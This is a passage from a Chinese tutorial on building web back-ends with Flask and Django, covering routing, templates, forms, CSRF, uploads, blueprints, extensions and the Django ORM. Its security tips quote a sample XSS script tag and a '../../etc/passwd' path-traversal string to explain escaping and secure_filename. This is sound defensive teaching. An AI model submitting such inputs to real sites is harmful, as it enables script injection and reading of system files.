def hello():
return 'Hello, World!' # 返回响应内容
if __name__ == '__main__':
app.run(debug=True) # 启动开发服务器,debug=True 开启调试模式
Flask(__name__) 的含义__name__ 是 Python 的内置变量,值为当前模块名。Flask 用它来确定模板和静态文件的查找路径——相对于调用模块所在的目录。如果传 __name__,Flask 会在你的 .py 文件同级目录下找 templates/ 和 static/ 文件夹。
Flask 通过 python-dotenv(pip install python-dotenv)自动加载项目根目录的 .env 文件。flask run 命令会自动读取 .env,但 app.run() 不会。推荐用 flask run 启动,配合 .flaskenv 文件设置 FLASK_APP=app.py 和 FLASK_DEBUG=1。
# 运行方式
# 方式 1:直接运行
python app.py
# 方式 2:用 flask 命令(推荐)
export FLASK_APP=app.py # Linux/macOS
set FLASK_APP=app.py # Windows
flask run # 启动服务器,默认 http://127.0.0.1:5000
# 方式 3:flask run 带 debug(自动重载)
flask run --debug
开发时一定要开 debug 模式:① 代码修改后自动重启服务器(不用手动重启);② 出错时在浏览器显示详细的错误堆栈信息;③ 内置交互式调试器(可以在浏览器里执行 Python 代码)。生产环境绝对不能开 debug 模式——它会暴露源码和服务器信息,是严重的安全漏洞。
当项目变大时,不要把所有代码塞到一个文件里。推荐的 Flask 项目结构:
myproject/
├── app/
│ ├── __init__.py # 应用工厂函数 create_app()
│ ├── routes/ # 路由模块(按功能拆分)
│ │ ├── __init__.py
│ │ ├── auth.py # 认证相关路由
│ │ └── users.py # 用户相关路由
│ ├── models/ # 数据模型
│ │ ├── __init__.py
│ │ └── user.py
│ ├── templates/ # HTML 模板
│ │ └── index.html
│ └── static/ # 静态文件(CSS/JS/图片)
│ ├── css/
│ └── js/
├── tests/ # 测试代码
│ └── test_app.py
├── config.py # 配置文件
├── requirements.txt # 依赖列表
├── .env # 环境变量(不要提交到 Git!)
└── .gitignore
不要把密码、密钥写死在代码里。Flask 支持多种配置方式:
# config.py — 配置类
import os
class Config:
SECRET_KEY = os.environ.get('SECRET_KEY', 'dev-secret-key')
SQLALCHEMY_DATABASE_URI = os.environ.get('DATABASE_URL', 'sqlite:///app.db')
DEBUG = False
class DevelopmentConfig(Config):
DEBUG = True
class ProductionConfig(Config):
DEBUG = False
SECRET_KEY = os.environ.get('SECRET_KEY') # 生产环境必须设置
class TestingConfig(Config):
TESTING = True
SQLALCHEMY_DATABASE_URI = 'sqlite:///:memory:'
# 配置名 → 配置类的映射
config_map = {
'development': DevelopmentConfig,
'production': ProductionConfig,
'testing': TestingConfig,
}
# app/__init__.py — 应用工厂模式
from flask import Flask
def create_app(config_name='development'):
app = Flask(__name__)
# 加载配置
from config import config_map
app.config.from_object(config_map[config_name])
# 注册蓝图
from app.routes.users import users_bp
app.register_blueprint(users_bp, url_prefix='/api/users')
return app
用 create_app() 函数而不是全局 app = Flask(__name__),好处是:① 可以创建多个不同配置的实例(测试用一个、生产用一个);② 避免循环导入问题;③ 方便写单元测试。Flask 官方文档推荐这种方式。
① 忘记设置 SECRET_KEY——Flask 的 Session、CSRF 保护都依赖它。② 把 .env 文件提交到 Git——密码泄露!在 .gitignore 中加上 .env。③ 在生产环境用 app.run()——它只适合开发,生产环境必须用 Gunicorn。
Flask 最让人困惑的概念就是"上下文"——为什么 request 可以在函数里直接用,却不是函数参数?
# Flask 有两种上下文:
# 1. 应用上下文(Application Context)—— 存储 app 相关信息
# - current_app:当前应用实例(获取配置、注册扩展)
# - g:请求级别的全局变量(存储数据库连接、当前用户)
# 2. 请求上下文(Request Context)—— 存储请求相关信息
# - request:当前请求对象(获取参数、Header、Cookie)
# - session:会话数据(跨请求存储用户状态)
# 为什么需要上下文?
# Flask 使用"本地线程"(LocalStack)实现上下文——每个请求有自己的栈
# 这样不同请求的 request、g 互不干扰(即使同时处理多个请求)
from flask import request, g, current_app, session
@app.before_request
def before_request():
# g 是请求级别的全局变量,每个请求独立
g.db = get_db_connection() # 存储数据库连接
g.user = get_current_user() # 存储当前用户
@app.route('/api/users')
def get_users():
# request 自动绑定到当前请求(不需要传参)
page = request.args.get('page', 1, type=int)
# g 在整个请求生命周期内可用
user = g.user
db = g.db
return jsonify({'users': db.query(User).all()})
@app.teardown_request
def teardown_request(exception):
# 请求结束后自动关闭数据库连接
db = g.pop('db', None)
if db:
db.close()
# ❌ 常见错误:在请求上下文外访问 request
def my_function():
print(request.args) # 报错!没有请求上下文
# ✅ 正确:在请求处理函数中访问
@app.route('/test')
def test():
print(request.args) # 正确
return 'ok'
# 应用上下文的使用
@app.route('/config')
def get_config():
# current_app 获取应用配置
db_url = current_app.config['DATABASE_URL']
return {'db_url': db_url}
① request 和 g 在每次请求结束后自动销毁。② current_app 在应用生命周期内有效。③ session 跨请求有效(存储在 Cookie 中)。④ 不要在异步代码或后台线程中直接访问 request——它只在主请求线程中有效。
路由是 Web 框架的核心——它决定了"哪个 URL 由哪个函数处理"。就像电话接线台:用户拨打 10086(访问 /api/users),接线员(Flask 路由)把电话转到客服部门(处理函数)。
from flask import Flask, request, jsonify, abort, redirect, url_for
app = Flask(__name__)
# 基础路由
@app.route('/')
def index():
return '首页'
# 带路径参数
@app.route('/users/<int:user_id>') # <类型:变量名>
def get_user(user_id):
return f'用户 ID: {user_id}'
# 支持的类型转换器
# <string:name> — 默认,接受不带斜杠的字符串
# <int:id> — 整数
# <float:price> — 浮点数
# <path:filepath> — 包含斜杠的路径
# <uuid:id> — UUID 字符串
# 限制 HTTP 方法
@app.route('/users', methods=['GET', 'POST'])
def users():
if request.method == 'GET':
return jsonify(users_list)
elif request.method == 'POST':
data = request.get_json()
return jsonify(data), 201 # 返回 201 Created
Flask 的 request 对象包含客户端发来的所有信息:
from flask import request
@app.route('/api/search')
def search():
# 查询参数 ?q=python&page=1
keyword = request.args.get('q', '') # 获取查询参数
page = request.args.get('page', 1, type=int) # 自动转为 int
# 请求头
token = request.headers.get('Authorization')
content_type = request.content_type
# 请求体(JSON)
if request.is_json:
data = request.get_json() # 解析 JSON body
name = data.get('name')
# 表单数据
username = request.form.get('username')
# 文件上传
file = request.files.get('avatar')
# 客户端 IP(经过 Nginx 代理后)
ip = request.remote_addr
real_ip = request.headers.get('X-Forwarded-For', ip)
return jsonify({"keyword": keyword, "page": page})
# 1. 返回字符串(最简单)
@app.route('/ping')
def ping():
return 'pong', 200 # (内容, 状态码)
# 2. 返回 JSON(API 最常用)
@app.route('/api/user')
def get_user():
return jsonify({
"id": 1,
"name": "张三",
"email": "zhangsan@example.com"
})
# 3. 返回 HTML 模板
from flask import render_template
@app.route('/home')
def home():
return render_template('index.html', title='首页')
# 4. 重定向
@app.route('/old-url')
def old_url():
return redirect(url_for('new_url')) # 302 重定向
@app.route('/new-url')
def new_url():
return '新页面'
# 为什么用 url_for('new_url') 而不是 redirect('/new-url')?
# url_for 根据函数名生成 URL,好处:① 改路由不用改代码;② 自动生成蓝图前缀;
# ③ 加 _external=True 生成完整 URL(含域名),用于邮件链接、回调地址等。
# 5. 返回自定义响应头
@app.route('/api/data')
def data():
response = jsonify({"data": [1, 2, 3]})
response.headers['X-Total-Count'] = 3
response.headers['Cache-Control'] = 'max-age=3600'
return response
# 方法 1:abort 直接返回错误
@app.route('/api/users/<int:user_id>')
def get_user(user_id):
user = db.get_user(user_id)
if not user:
abort(404) # 返回 404 Not Found
return jsonify(user)
# 方法 2:自定义错误页面
@app.errorhandler(404)
def not_found(error):
return jsonify({"error": "资源不存在", "code": 404}), 404
@app.errorhandler(500)
def server_error(error):
return jsonify({"error": "服务器内部错误", "code": 500}), 500
① URL 用名词复数(/users 不是 /getUser);② 用 HTTP 方法表示操作(GET 查、POST 增、PUT 改、DELETE 删);③ 路径参数用名词(/users/123);④ 查询参数用过滤(/users?role=admin)。
如果请求的 Content-Type 不是 application/json,get_json() 会返回 None(不报错!)。加上 force=True 可以忽略 Content-Type 强制解析:request.get_json(force=True)。但更好的做法是让前端正确设置 Content-Type。
如果你的后端需要返回 HTML 页面(而不是纯 API),就需要模板引擎。Jinja2 是 Flask 内置的模板引擎——它把 Python 变量"填"到 HTML 模板中,生成最终的 HTML 页面。
模板就像填空题。试卷(模板)上有"{{ 姓名 }}"和"{{ 答案 }}"的空格,阅卷老师(Jinja2)拿到学生信息后,把名字和答案填进去,生成一份完整的答卷(HTML 页面)。
<!-- templates/index.html -->
<!DOCTYPE html>
<html>
<head><title>{{ title }}</title></head>
<body>
{# 这是注释,不会出现在 HTML 中 #}
<h1>欢迎, {{ user.name }}!</h1> <!-- 变量输出 -->
<p>{{ user.email | upper }}</p> <!-- 过滤器:转大写 -->
{% if user.is_admin %} <!-- 条件判断 -->
<span>管理员</span>
{% else %}
<span>普通用户</span>
{% endif %}
<ul>
{% for item in items %} <!-- 循环 -->
<li>{{ loop.index }}. {{ item.name }}</li>
{% endfor %}
</ul>
</body>
</html>
# Flask 视图函数
@app.route('/')
def index():
return render_template('index.html',
title='首页',
user={'name': '张三', 'email': 'zhangsan@example.com', 'is_admin': True},
items=[{'name': '苹果'}, {'name': '香蕉'}, {'name': '橙子'}]
)
每个页面都有相同的导航栏、页脚、CSS 引用。模板继承让你不用在每个页面重复这些代码:
<!-- templates/base.html — 父模板 -->
<!DOCTYPE html>
<html>
<head>
<title>{% block title %}默认标题{% endblock %}</title>
<link rel="stylesheet" href="{{ url_for('static', filename='css/style.css') }}">
</head>
<body>
<nav>导航栏(所有页面共享)</nav>
{% block content %}{% endblock %} <!-- 子模板填充这里 -->
<footer>页脚(所有页面共享)</footer>
</body>
</html>
<!-- templates/home.html — 子模板 -->
{% extends "base.html" %} <!-- 继承父模板 -->
{% block title %}首页{% endblock %} <!-- 覆盖 title 块 -->
{% block content %} <!-- 填充 content 块 -->
<h1>欢迎来到首页</h1>
<p>这是主页内容</p>
{% endblock %}
| 过滤器 | 作用 | 示例 |
|---|---|---|
{{ value | default('N/A') }} | 空值时显示默认值 | {{ user.phone | default('未填写') }} |
{{ value | upper / lower }} | 大小写转换 | {{ name | upper }} |
{{ value | length }} | 长度 | {{ items | length }} 个 |
{{ value | truncate(50) }} | 截断文本 | {{ content | truncate(100) }} |
{{ value | safe }} | 标记为安全(不转义 HTML) | {{ html_content | safe }} |
{{ value | tojson }} | 转为 JSON | var data = {{ data | tojson }}; |
{# templates/macros/form.html — 定义宏 #}
{% macro input(name, label, type='text', value='') %}
<div class="form-group">
<label for="{{ name }}">{{ label }}</label>
<input type="{{ type }}" name="{{ name }}" id="{{ name }}"
value="{{ value }}" class="form-control">
</div>
{% endmacro %}
{# 使用宏 #}
{% from "macros/form.html" import input %}
<form>
{{ input('username', '用户名') }}
{{ input('email', '邮箱', type='email') }}
{{ input('password', '密码', type='password') }}
</form>
用 url_for('static', filename='css/style.css') 引用静态文件,而不是硬编码路径。这样即使部署到子目录(如 /app/),路径也能正确解析。静态文件放在 static/ 目录下。
Jinja2 默认会自动转义 HTML(< 变成 <),防止 XSS 攻击。只有在你确定内容安全时才用 | safe。永远不要对用户输入的内容使用 | safe——用户可能在评论里写 <script>alert('XSS')</script>。
用户提交的任何数据都不可信——他们可能在年龄字段填"abc",在邮箱字段填脚本代码。表单校验是后端的第一道防线。
# forms.py
from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, IntegerField, SelectField, FileField
from wtforms.validators import DataRequired, Email, Length, NumberRange, EqualTo
class RegistrationForm(FlaskForm):
username = StringField('用户名', validators=[
DataRequired(message='用户名不能为空'),
Length(min=3, max=20, message='用户名长度3-20个字符')
])
email = StringField('邮箱', validators=[
DataRequired(message='邮箱不能为空'),
Email(message='邮箱格式不正确')
])
age = IntegerField('年龄', validators=[
NumberRange(min=0, max=150, message='年龄必须在0-150之间')
])
password = PasswordField('密码', validators=[
DataRequired(message='密码不能为空'),
Length(min=6, message='密码至少6个字符')
])
confirm_password = PasswordField('确认密码', validators=[
EqualTo('password', message='两次密码不一致')
])
avatar = FileField('头像')
class LoginForm(FlaskForm):
username = StringField('用户名', validators=[DataRequired()])
password = PasswordField('密码', validators=[DataRequired()])
# routes/auth.py
from flask import Blueprint, render_template, redirect, url_for, flash
from app.forms import RegistrationForm
auth_bp = Blueprint('auth', __name__)
@auth_bp.route('/register', methods=['GET', 'POST'])
def register():
form = RegistrationForm()
if form.validate_on_submit(): # POST 且校验通过
from werkzeug.security import generate_password_hash
# 创建用户——密码必须哈希存储,绝不能存明文!
user = create_user(
username=form.username.data,
email=form.email.data,
password=generate_password_hash(form.password.data)
)
flash('注册成功!', 'success') # 闪现消息
return redirect(url_for('auth.login'))
return render_template('register.html', form=form) # GET 或校验失败
CSRF(Cross-Site Request Forgery)攻击:恶意网站伪造你的身份发请求。Flask-WTF 自动为每个表单生成 CSRF Token:
<!-- 模板中 -->
<form method="POST">
{{ form.hidden_tag() }} <!-- 自动生成 CSRF token 隐藏字段 -->
{{ form.username.label }} {{ form.username }}
<button type="submit">注册</button>
</form>
服务器生成一个随机 token,放在表单的隐藏字段里。提交时服务器验证 token 是否匹配。攻击者不知道 token 的值,所以无法伪造请求。Flask-WTF 的 form.hidden_tag() 自动处理这一切。
from werkzeug.utils import secure_filename
import os
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif', 'pdf'}
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@auth_bp.route('/upload', methods=['POST'])
def upload_file():
file = request.files.get('avatar')
if not file or file.filename == '':
flash('请选择文件')
return redirect(request.url)
if not allowed_file(file.filename):
flash('不支持的文件类型')
return redirect(request.url)
# 安全处理:secure_filename 防止路径穿越攻击
filename = secure_filename(file.filename)
# 加时间戳防重名
import time
filename = f"{int(time.time())}_{filename}"
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
file.save(filepath)
return jsonify({"url": f"/uploads/{filename}"})
① 永远用 secure_filename() 处理文件名——防止 ../../etc/passwd 路径穿越。② 校验文件扩展名和 MIME 类型。③ 不要把上传文件放在 Web 能直接访问的目录。④ 限制文件大小:app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024(16MB)。
当你的 Flask 应用有几十个路由时,全塞在一个文件里会变成噩梦。Blueprint(蓝图)让你把路由按功能拆分到不同文件。
Blueprint 就像公司的部门。市场部(auth 蓝图)管登录注册,产品部(users 蓝图)管用户管理,技术部(admin 蓝图)管后台。每个部门有自己的职责和人员,但都属于同一家公司(Flask 应用)。
# app/routes/users.py — 用户蓝图
from flask import Blueprint, jsonify
users_bp = Blueprint('users', __name__) # 创建蓝图
@users_bp.route('/') # 路径相对于 url_prefix
def list_users():
return jsonify([{"id": 1, "name": "张三"}])
@users_bp.route('/<int:id>')
def get_user(id):
return jsonify({"id": id, "name": "张三"})
# app/routes/auth.py — 认证蓝图
auth_bp = Blueprint('auth', __name__)
@auth_bp.route('/login', methods=['POST'])
def login():
return jsonify({"token": "xxx"})
@auth_bp.route('/register', methods=['POST'])
def register():
return jsonify({"message": "注册成功"})
# app/__init__.py — 注册蓝图
def create_app():
app = Flask(__name__)
from app.routes.users import users_bp
from app.routes.auth import auth_bp
app.register_blueprint(users_bp, url_prefix='/api/users') # 统一前缀
app.register_blueprint(auth_bp, url_prefix='/auth') # 认证前缀
return app
钩子让你在请求处理前后执行通用逻辑(如日志、认证检查、数据库连接):
# 在蓝图或 app 上注册钩子
@users_bp.before_request # 每个请求前执行
def before():
# 常见用途:检查登录状态
if request.endpoint not in ('auth.login', 'auth.register'):
token = request.headers.get('Authorization')
if not token:
return jsonify({"error": "未登录"}), 401
@users_bp.after_request # 每个请求后执行
def after(response):
# 常见用途:添加 CORS 头、记录日志
response.headers['X-Request-Time'] = time.time()
return response # 必须返回 response
@users_bp.teardown_request # 请求结束时执行(即使出错)
def teardown(exception):
if exception:
from flask import current_app
current_app.logger.error(f'请求异常: {exception}')
@app.before_request # 全局:所有请求前执行
def global_before():
g.start_time = time.time() # g 是请求级别的全局变量
@app.after_request # 全局:所有请求后执行
def global_after(response):
elapsed = time.time() - g.start_time
app.logger.info(f'{request.path} 耗时 {elapsed:.3f}s')
return response
# 自定义错误页面(JSON 格式,适合 API)
@app.errorhandler(400)
def bad_request(error):
return jsonify({"code": 400, "message": "请求参数错误"}), 400
@app.errorhandler(404)
def not_found(error):
return jsonify({"code": 404, "message": "资源不存在"}), 404
@app.errorhandler(405)
def method_not_allowed(error):
return jsonify({"code": 405, "message": "HTTP方法不允许"}), 405
@app.errorhandler(500)
def internal_error(error):
return jsonify({"code": 500, "message": "服务器内部错误"}), 500
把配置加载、蓝图注册、错误处理、数据库初始化全部放在 create_app() 里,让应用的创建过程清晰可控。这也是 Flask 官方推荐的最佳实践。
如果 before_request 返回了响应(如 return jsonify(...), 401),后续的视图函数不会执行。利用这个特性做认证拦截。如果不返回任何东西(return None),请求正常继续。
Flask 的哲学是"核心极简,扩展丰富"。这一章介绍后端开发中最常用的 5 个扩展。
# 安装:pip install flask-sqlalchemy
from flask_sqlalchemy import SQLAlchemy
from datetime import datetime
db = SQLAlchemy()
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(80), unique=True, nullable=False)
email = db.Column(db.String(120), unique=True, nullable=False)
created_at = db.Column(db.DateTime, default=lambda: datetime.now(datetime.UTC))
# 注意:datetime.UTC 需要 Python 3.11+。兼容写法:datetime.now(timezone.utc)
def to_dict(self):
return {"id": self.id, "username": self.username, "email": self.email}
# CRUD 操作
user = User(username="张三", email="zhangsan@example.com")
db.session.add(user) # 插入
db.session.commit()
users = User.query.all() # 查询所有
user = db.session.get(User, 1) # 按 ID 查询(SQLAlchemy 2.0+ 推荐写法)
user = User.query.filter_by(username="张三").first()
user.email = "new@example.com" # 更新
db.session.commit()
db.session.delete(user) # 删除
db.session.commit()
如果 commit() 失败(如唯一约束冲突),Session 会进入不一致状态,后续所有操作都会报错。正确写法:
try:
db.session.add(user)
db.session.commit()
except Exception:
db.session.rollback() # 回滚,恢复 Session 到正常状态
raise
finally:
db.session.close() # 释放连接回连接池# 安装:pip install flask-login
from flask_login import LoginManager, UserMixin, login_user, logout_user, login_required, current_user
from werkzeug.security import generate_password_hash, check_password_hash # 哈希 + 验证
login_manager = LoginManager()
login_manager.login_view = 'login' # 未登录时重定向到此端点(必须设置!)
login_manager.login_message = '请先登录' # 重定向时的提示消息
class User(UserMixin, db.Model): # 继承 UserMixin
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(80))
password_hash = db.Column(db.String(128))
@login_manager.user_loader
def load_user(user_id):
return db.session.get(User, int(user_id)) # 根据 ID 加载用户
# 登录
@app.route('/login', methods=['POST'])
def login():
user = User.query.filter_by(username=request.json['username']).first()
if user and check_password_hash(user.password_hash, request.json['password']):
login_user(user) # 设置 Session
return jsonify({"message": "登录成功"})
return jsonify({"error": "用户名或密码错误"}), 401
# 需要登录才能访问的接口
@app.route('/profile')
@login_required # 未登录自动返回 401
def profile():
return jsonify({"username": current_user.username})
# 安装:pip install flask-migrate
from flask_migrate import Migrate
migrate = Migrate(app, db)
# 命令行操作
# flask db init — 初始化迁移仓库(只需一次)
# flask db migrate -m "描述" — 自动生成迁移脚本
# flask db upgrade — 执行迁移(建表/改表)
# flask db downgrade — 回滚上一次迁移
# 安装:pip install flask-cors
from flask_cors import CORS
# 允许所有域名访问(开发环境)
CORS(app)
# 生产环境:限制允许的域名
CORS(app, origins=["https://www.yourdomain.com"])
# 单独配置某些路由
CORS(users_bp, origins=["https://admin.yourdomain.com"])
浏览器的同源策略禁止前端(http://localhost:3000)直接请求不同源的后端(http://localhost:5000)。CORS 通过响应头告诉浏览器"我允许这个域名访问我"。前后端分离开发时必须配置 CORS。
# 安装:pip install flask-mail
from flask_mail import Mail, Message
mail = Mail(app)
# 配置(config.py)
MAIL_SERVER = 'smtp.qq.com'
MAIL_PORT = 465
MAIL_USE_SSL = True
MAIL_USERNAME = 'your@qq.com'
MAIL_PASSWORD = '授权码' # QQ 邮箱需要使用授权码,不是登录密码
# 发送邮件
def send_email(to, subject, body):
msg = Message(subject, recipients=[to], body=body)
mail.send(msg)
# 发送 HTML 邮件
def send_html_email(to, subject, template):
msg = Message(subject, recipients=[to])
msg.html = render_template(template)
mail.send(msg)
在工厂函数中初始化所有扩展,避免循环导入:
# app/extensions.py — 统一管理扩展实例
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager
from flask_migrate import Migrate
from flask_cors import CORS
from flask_mail import Mail
db = SQLAlchemy()
login_manager = LoginManager()
migrate = Migrate()
cors = CORS()
mail = Mail()
# app/__init__.py — 在 create_app 中初始化
def create_app():
app = Flask(__name__)
db.init_app(app)
login_manager.init_app(app)
migrate.init_app(app, db)
cors.init_app(app)
mail.init_app(app)
return app
Flask 扩展的版本更新可能滞后于 Flask 本身。如果一个扩展很久没更新了,考虑直接用底层库(如直接用 SQLAlchemy 而不是 Flask-SQLAlchemy)。核心逻辑不要绑死在某个扩展上。
Django 是 Python 生态中最"全"的 Web 框架——ORM、Admin 后台、认证系统、表单处理、迁移工具全内置。Instagram、Pinterest、Mozilla 都用 Django。
如果 Flask 是乐高积木(自己搭),Django 就是宜家套装(买回来装好就能用)。Django 的口号是 "The web framework for perfectionists with deadlines"(给有截止日期的完美主义者用的框架)。
# Django 请求的完整流程:
# HTTP Request
# ↓
# [1] WSGI/ASGI 服务器(Gunicorn/Uvicorn)
# ↓
# [2] 中间件(Middleware)—— 请求阶段(从上到下)
# - SecurityMiddleware:HTTPS 重定向、HSTS
# - SessionMiddleware:加载 Session
# - CsrfViewMiddleware:CSRF 验证
# - AuthenticationMiddleware:加载用户
# ↓
# [3] URL 路由(URL Router)
# - 匹配 urlpatterns,找到对应的 view 函数
# ↓
# [4] 视图函数(View)
# - 处理业务逻辑
# - 查询数据库(Model)
# - 渲染模板(Template)
# ↓
# [5] 中间件(Middleware)—— 响应阶段(从下到上)
# - 添加安全 Header
# - 设置 Cookie
# ↓
# HTTP Response
# 与 MVC 的对比:
# Django MVT:Model + View + Template
# 传统 MVC:Model + Controller + View
# Django 的 View ≈ MVC 的 Controller
# Django 的 Template ≈ MVC 的 View
# 安装 Django
pip install django
# 创建项目(生成项目骨架)
django-admin startproject mysite
cd mysite
# 创建应用(一个项目可以有多个应用)
python manage.py startapp blog
# 启动开发服务器
python manage.py runserver 0.0.0.0:8000
# 项目结构
mysite/
├── manage.py # 管理命令入口
├── mysite/
│ ├── __init__.py
│ ├── settings.py # 配置文件
│ ├── urls.py # 根 URL 配置
│ ├── wsgi.py # WSGI 入口
│ └── asgi.py # ASGI 入口
└── blog/ # 应用目录
├── __init__.py
├── models.py # 数据模型
├── views.py # 视图函数
├── urls.py # 应用 URL
├── admin.py # Admin 配置
├── tests.py # 测试
└── migrations/ # 数据库迁移
# blog/views.py
from django.http import JsonResponse
from django.shortcuts import render
def hello(request):
return JsonResponse({"message": "Hello, Django!"})
def home(request):
return render(request, 'blog/home.html', {"title": "首页"})
# blog/urls.py
from django.urls import path
from . import views
urlpatterns = [
path('hello/', views.hello),
path('', views.home),
]
# mysite/urls.py — 根 URL 配置
from django.urls import path, include
urlpatterns = [
path('blog/', include('blog.urls')), # 把 /blog/ 交给 blog 应用处理
]
# mysite/settings.py 重要配置项
import os
SECRET_KEY = os.environ.get('SECRET_KEY', 'dev-only-key-change-in-production') # 生产环境必须设置环境变量!
DEBUG = os.environ.get('DEBUG', 'True').lower() == 'true' # 生产环境设为 False
ALLOWED_HOSTS = os.environ.get('ALLOWED_HOSTS', 'localhost').split(',') # 生产环境:'example.com,www.example.com'
INSTALLED_APPS = [
'django.contrib.admin', # Admin 后台
'django.contrib.auth', # 认证系统
'django.contrib.contenttypes', # 内容类型
'django.contrib.sessions', # Session
'django.contrib.messages', # 消息框架
'django.contrib.staticfiles', # 静态文件
'blog', # 你的应用(必须注册!)
]
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3', # 开发用 SQLite
'NAME': BASE_DIR / 'db.sqlite3',
# 生产用 PostgreSQL:
# 'ENGINE': 'django.db.backends.postgresql',
# 'NAME': 'mydb',
# 'USER': 'postgres',
# 'PASSWORD': 'password',
# 'HOST': 'localhost',
# 'PORT': '5432',
}
}
一个 Django 项目可以包含多个"应用"(app)。每个应用是一个功能模块:blog(博客)、users(用户)、shop(商城)。应用可以复用——Django 生态有很多现成的应用(django-allauth、django-rest-framework)。
manage.py runserver 是单线程的开发服务器,绝对不能用于生产。生产环境用 Gunicorn(WSGI)或 Uvicorn(ASGI)。Django 4.1+ 原生支持 ASGI。
Django ORM 是 Django 最强大的特性之一——你用 Python 代码操作数据库,不需要写 SQL。它把数据库表映射成 Python 类,把 SQL 操作映射成方法调用。
# blog/models.py
from django.db import models
class Category(models.Model):
name = models.CharField(max_length=100, verbose_name='分类名')
created_at = models.DateTimeField(auto_now_add=True)
class Meta:
db_table = 'categories' # 自定义表名
ordering = ['-created_at'] # 默认排序
def __str__(self):
return self.name
class Article(models.Model):
STATUS_CHOICES = [
('draft', '草稿'),
('published', '已发布'),
]
title = models.CharField(max_length=200, verbose_name='标题')
content = models.TextField(verbose_name='内容')
status = models.CharField(max_length=10, choices=STATUS_CHOICES, default='draft')
category = models.ForeignKey(Category, on_delete=models.CASCADE, related_name='articles')
views = models.IntegerField(default=0, verbose_name='浏览量')
created_at = models.DateTimeField(auto_now_add=True)
updated_at = models.DateTimeField(auto_now=True)
is_deleted = models.BooleanField(default=False) # 软删除
class Meta:
db_table = 'articles'
indexes = [
models.Index(fields=['status', '-created_at']),
]
# ===== Create(创建)=====
article = Article.objects.create(
title='Django 入门',
content='...',
category_id=1,
status='published'
)
# ===== Read(查询)=====
# 查询所有
articles = Article.objects.all()
# 条件查询
article = Article.objects.get(id=1) # 只能查一条,多了报错
article = Article.objects.filter(status='published').first() # 查一条,多了返回第一个
# 链式查询
articles = (Article.objects
.filter(status='published')
.filter(views__gt=100) # 浏览量 > 100
.exclude(is_deleted=True) # 排除已删除
.order_by('-created_at') # 按创建时间倒序
[:10]) # 取前 10 条
# 常用查询条件
# exact / iexact — 精确匹配 / 不区分大小写
# contains / icontains — 包含 / 不区分大小写
# gt / gte / lt / lte — 大于 / 大于等于 / 小于 / 小于等于
# in — 在列表中
# isnull — 是否为空
# range — 范围
# startswith / endswith — 开头 / 结尾匹配
# ===== Update(更新)=====
Article.objects.filter(id=1).update(views=100) # 批量更新
article.title = '新标题' # 单条更新
article.save()
# ===== Delete(删除)=====
Article.objects.filter(id=1).delete() # 硬删除
article.is_deleted = True # 软删除(推荐)
article.save()
from django.db.models import Count, Avg, Sum, Max, Min
# 聚合:整个表的统计
stats = Article.objects.aggregate(
total=Count('id'),
avg_views=Avg('views'),
max_views=Max('views'),
)
# {'total': 100, 'avg_views': 256.5, 'max_views': 10000}
# 分组统计:每个分类的文章数
category_stats = (Category.objects
.annotate(article_count=Count('articles'))
.order_by('-article_count'))
# <QuerySet [<Category: Python (15)>, <Category: Django (8)>]>
Article.objects.filter(status='published') 不会立刻执行 SQL。只有当你遍历它(for 循环)、取值(first/get)、计算长度(count)时才会真正查询数据库。这意味着你可以放心地链式拼接查询条件,不会产生多余的数据库请求。
Article.objects.all() 会查出整张表。如果表有百万条记录,会把内存撑爆。永远加上过滤条件和分页:Article.objects.filter(...).order_by(...)[0:20]。
from django.db.models import Q
# OR 查询:状态为 published 或 浏览量 > 1000
articles = Article.objects.filter(
Q(status='published') | Q(views__gt=1000)
)
# NOT 查询:排除已删除
articles = Article.objects.filter(~Q(is_deleted=True))
# 复杂组合:(published 且 views > 100) 或 featured=True
articles = Article.objects.filter(
(Q(status='published') & Q(views__gt=100)) | Q(is_featured=True)
)
# 动态构建查询条件
filters = Q()
if keyword:
filters &= Q(title__icontains=keyword) | Q(content__icontains=keyword)
if category_id:
filters &= Q(category_id=category_id)
if status:
filters &= Q(status=status)
articles = Article.objects.filter(filters)
from django.db.models import F
# 原子操作:浏览量 +1(避免并发问题)
Article.objects.filter(id=1).update(views=F('views') + 1)
# 字段间计算:折扣价 = 原价 * 折扣
Product.objects.update(discount_price=F('price') * F('discount'))
# 跨字段比较:找出浏览量大于评论数的文章
articles = Article.objects.filter(views__gt=F('comments_count'))
# ❌ N+1 问题:查询 N 篇文章会产生 N+1 次 SQL
articles = Article.objects.all() # 1 次查询
for article in articles:
print(article.category.name) # 每次访问外键都会额外查询
# ✅ 解决方案 1:select_related(JOIN 查询,适合 ForeignKey/OneToOne)
articles = Article.objects.select_related('category', 'author').all()
# 只有 1 次 SQL:SELECT article.*, category.*, author.* FROM article
# LEFT JOIN category ON article.category_id = category.id
# LEFT JOIN author ON article.author_id = author.id
# ✅ 解决方案 2:prefetch_related(单独查询+Python关联,适合 ManyToMany)
articles = Article.objects.prefetch_related('tags').all()
# 2 次 SQL:1 次查文章,1 次查标签,Python 中关联
# 高级用法:自定义 prefetch 查询
from django.db.models import Prefetch
articles = Article.objects.prefetch_related(
Prefetch('tags', queryset=Tag.objects.filter(is_active=True))
)
# 自定义 QuerySet
class ArticleQuerySet(models.QuerySet):
def published(self):
return self.filter(status='published')
def featured(self):
return self.filter(is_featured=True)
def popular(self, min_views=1000):
return self.filter(views__gte=min_views)
# 自定义 Manager
class ArticleManager(models.Manager):
def get_queryset(self):
return ArticleQuerySet(self.model, using=self._db)
def published(self):
return self.get_queryset().published()
def popular(self, min_views=1000):
return self.get_queryset().popular(min_views)
# 在模型中使用
class Article(models.Model):
# ... 字段定义 ...
objects = ArticleManager() # 默认 Manager
# 使用示例
# Article.objects.published() # 查已发布
# Article.objects.published().popular() # 查已发布的热门文章
from django.db import transaction
# 方式 1:上下文管理器
def create_order(user_id, product_id, quantity):
with transaction.atomic():
order = Order.objects.create(user_id=user_id, total=0)
product = Product.objects.select_for_update().get(id=product_id) # 行锁
if product.stock < quantity:
raise ValueError("库存不足")
product.stock -= quantity
product.save()
